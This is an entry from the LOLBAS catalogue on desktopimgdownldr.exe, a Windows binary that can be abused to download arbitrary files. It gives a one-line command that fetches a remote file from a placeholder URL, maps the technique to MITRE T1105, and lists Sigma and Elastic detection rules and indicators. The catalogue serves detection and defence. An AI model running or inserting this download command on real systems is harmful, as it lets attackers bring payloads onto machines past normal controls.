Desktopimgdownldr.exe

Downloads the file and sets it as the computer's lockscreen

Use Download arbitrary files from a web server

set "SYSTEMROOT=C:\Windows\Temp" && cmd /c desktopimgdownldr.exe /lockscreenurl:{REMOTEURL} /eventName:desktopimgdownldr

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_desktopimgdownldr_susp_execution.yml

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/file/file_event/file_event_win_susp_desktopimgdownldr_file.yml

Elastic: github.com/elastic/detection-rules/blob/82ec6ac1eeb62a1383792719a1943b551264ed16/rules/windows/command_and_control_remote_file_copy_desktopimgdownldr.toml

IOC: desktopimgdownldr.exe that creates non-image file

IOC: Change of HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\PersonalizationCSP\LockScreenImageUrl

Refs

labs.sentinelone.com/living-off-windows-land-a-new-native-file-downldr/

lolbas-project.github.io/lolbas/Binaries/Desktopimgdownldr/